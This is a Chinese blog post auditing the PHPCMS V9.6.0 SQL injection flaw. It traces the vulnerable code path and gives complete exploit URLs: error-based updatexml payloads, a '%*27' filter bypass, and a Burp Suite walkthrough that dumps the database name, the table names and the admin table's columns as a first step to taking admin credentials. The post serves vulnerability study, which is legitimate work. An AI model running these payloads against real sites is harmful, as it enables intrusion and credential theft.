2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞
PHPCMSV9.6.0 wap模塊sql注入漏洞
漏洞環境:PHPCMSV9.6.0
?
實驗環境的poc:
/index.php?m=wap&c=index&siteid=1 userid_flash=b3a3Dv_ICFSxJ_SDlQhbf6cdklSxsLje2RJwBTGknbusMO0 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26 nQLyd_att_json= /index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4?
漏洞復現
把之前準備的poc(/index.php?m=wap&c=index&siteid=1)粘貼到地址欄,訪問網址,開啟burpsuite代理:
?
?
在burpsuite抓包軟件中,右鍵Send to Repeater,修改數據包點擊Go,如下所示:
?
服務器返回了一個cookie,udntD_siteid字段。
?
把udntD_siteid字段的值復制粘貼到userid_flash中:
userid_flash=4683sBPQGwA2ouyhewFlSKtPfoAV3d1qX5ts_-Yq然后把GET請求改為POST請求,并把POST請求的數據改為如下所示:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26服務器會返回一個cookie,cookie中有一個字段udntD_att_json是我們下一步要用到的。注意:如果返回的Response包報錯,在Request請求包中加上content-Type:application/x-www-form-urlencoded
?
?
cookie中的udntD_att_json字段的值:
3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4把post請求的uri改為如下,并把cookie中的這個字段的值復制粘貼到post提交的a_k中,如下所示:
/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4再提交POST請求,服務器的http數據包會把數據庫的報錯信息返回:
Response包返回的mysql錯誤信息中爆出了數據庫phpcmsv96,還包括數據庫的用戶名和地址(root@localhost),我們推測mysql數據庫報錯的原因應該是POST請求的uri有問題。
?
為了驗證我們的推測,進一步分析POST請求的uri:這個http請求訪問了content模塊下的down源文件。
分析down源文件:
down文件的init函數里用到了a_k參數,但是http請求并沒有調用任何函數,也就是說down文件應該是自動調用的,分別在構造函數和init函數添加兩行代碼看是否自動調用。
?
把POST請求的URI改為/index.php?m=content&c=down
從返回的信息來看,down文件中的init函數確實是自動執行的,這里我們重點分析init函數
?
打開google瀏覽器,開啟xdebug調試
?
init函數首先接收a_k的值,通過sys_auth函數解密,解密后如下所示:
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}?
parse_str函數是對解密后的url進行解析并返回一個變量,最終獲取到' and updatexml(1,concat(1,(user())),1)#這一部分:
updatexml在報錯注入中經常用到的一個函數,繼續跟蹤代碼分析后臺是如何報錯的。
?
接著調用了get_once函數:
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res; }?
get_once函數里調用了execute函數執行了sql語句,最終導致mysql數據庫報錯。
?
漏洞復現完畢,梳理一下整個漏洞的利用流程:
第三步中漏洞利用的過程中sys_auth函數起到了很關鍵的作用,這里拋出一個問題:那么是誰調用了sys_auth函數解密?根據整個漏洞的利用過程,我們需要反過來分析第二步。
?
在phpstorm中找到attachment模塊的attachments文件,分析swfupload_json函數:
swfupload_json函數會提取http請求的數據adi,src,filename存放到數組arr中(filename值為空是因為我們沒有提交數據),調用json_encode對arr數組加密并轉換成json數據格式json_str,然后調用set_cookie函數。
?
需要注意的是,http請求提交的src的值是:
%*27這樣寫的目的是為了繞過safe_replace函數的檢測,%*27最終會匹配到*符號,過濾之后就成了%27(有興趣的同學可以看下safe_replace函數的具體實現)
?
在set_cookie函數中調用了sys_auth函數進行加密,調用setcookie函數設置到cookie
其中udntD_att_json字段的內容就是json_str的值,這也就說的通第三步http請求$a_k的值了。
?
現在又有一個新的問題:為什么這里會設置cookie?帶著問題,我們繼續分析第一步,注意:第一步的http請求調用了wap模塊的index.php
注意:index.php文件只執行了構造函數(沒有執行init函數),第9行代碼經過了連續的三目運算判斷,siteid的值為1,接著調用了set_cookie函數,把siteid作為參數傳入set_cookie函數。
?
繼續跟蹤set_cookie函數
set_cookie函數的參數siteid賦值給value,現在value的值為1,第91行的is_array函數會對value進行判斷,因為value不是數組則會執行第96行代碼設置setcookie,調用sys_auth函數加密。
到這里,整個漏洞的利用過程分析完畢,第二個問題也迎刃而解。
?
還有一個小問題,第二步提交的http請求中,帶了userid_flas參數,可能有同學會不解,說明一下:其目的是第二步的構造函數需要驗證userid,想了解的同學可以在第二步debug跟蹤驗證userid的流程,這里不再演示。
?
?
編寫exp
僅用于技術交流和研究使用,切勿用作其他非法用途,希望大家遵守相關法律法規,堅決抵制任何違法犯罪活動。
獲取數據庫名
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=607cobRAvXw5UHTgmC8eAceaa2O3S1apFTjwplAg5jBLsUBBT9sqicAXHQNDFAV9wv_mcepgtWYsIz5zu-OegyNNWkdB96BgSgJ-GZhOaurd4CyCVUizrLJvtAvUo4TOKKaQ3msYlKdz20wDFFNq7cMZ7_d_Di-QHLnXk_ycxYi4uftkFMKcZqYbEw_l?
獲取數據庫表名
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%200%2C1%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=8f45ay4YrQQ5GMdkRzI5nao6f5erP_Rqn9l98OCdmFl4yJ8FKJEMTS_e7nE3OPfFtN_FCkk9VWHOzZEVrGNpF-AKRJWq4fwhM1yebyXRyuC5pJxOB-2eLlB9-SLMOHeD7ibIXKPsGFZ7Jwvd7ebr89kn1HSZlBqfluR87QEk631XiLrmpzZpKqUY88q0oAvTFAhr_rAP5lFE6h8eYQvRn6YyUmWFg6YmHc63g4jwyznko1Eq4a6jkSXqbz6z1YDB_RnL8g2GL5clhe7Kt3_Re66HMiRfI0GbvNcmUxOB通過來控制limit函數的第一個參數,依次爆破數據庫的每張表名,還有一種方式就是通過group_concat函數對數據庫表名進行拼接。
最終爆破出存儲管理員用戶名和密碼的表名v9_6admin
?
?
獲取表字段
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=%*27v9_6admin%*27%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=1494ZzfW09A5rCun4L9U7nB_Y_yRMI8rCLJL_CorQDIsVPI6P-47U0aDun95SdkcFXMvG42fpCMUjcD1ml5m8BaLfB6Bv2O7OPj34GV3E23ScaO5-N6DrOWfFhyQUKEHaO4QcsDpbrOyKn2UJum_WH4EVeQaMnMlcAh7wb-YsktlImMM6mEQGi4_yBZ1XyTUmyp15PfkiCntWCOh7X0A-05JtKEJcKMpBPVEmz8jB0RYSUYBtWMPP6Rh-WBUH-ryq_icLU5_1Is4uizNHtELKHhQBLzbL53taBuPQw6EnJPl15BaOcTqCjYc-x6FOpnCe4RIsfMZcP3OYVdU0xjia6hkwAMy SQL Error:爆出了v9_6admin表的所有字段。
通過字段,最終獲取用戶名和密碼
?
總結
以上是生活随笔為你收集整理的2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: grub4dos和bootmgr双启动
- 下一篇: 用foobar,ape转mp3
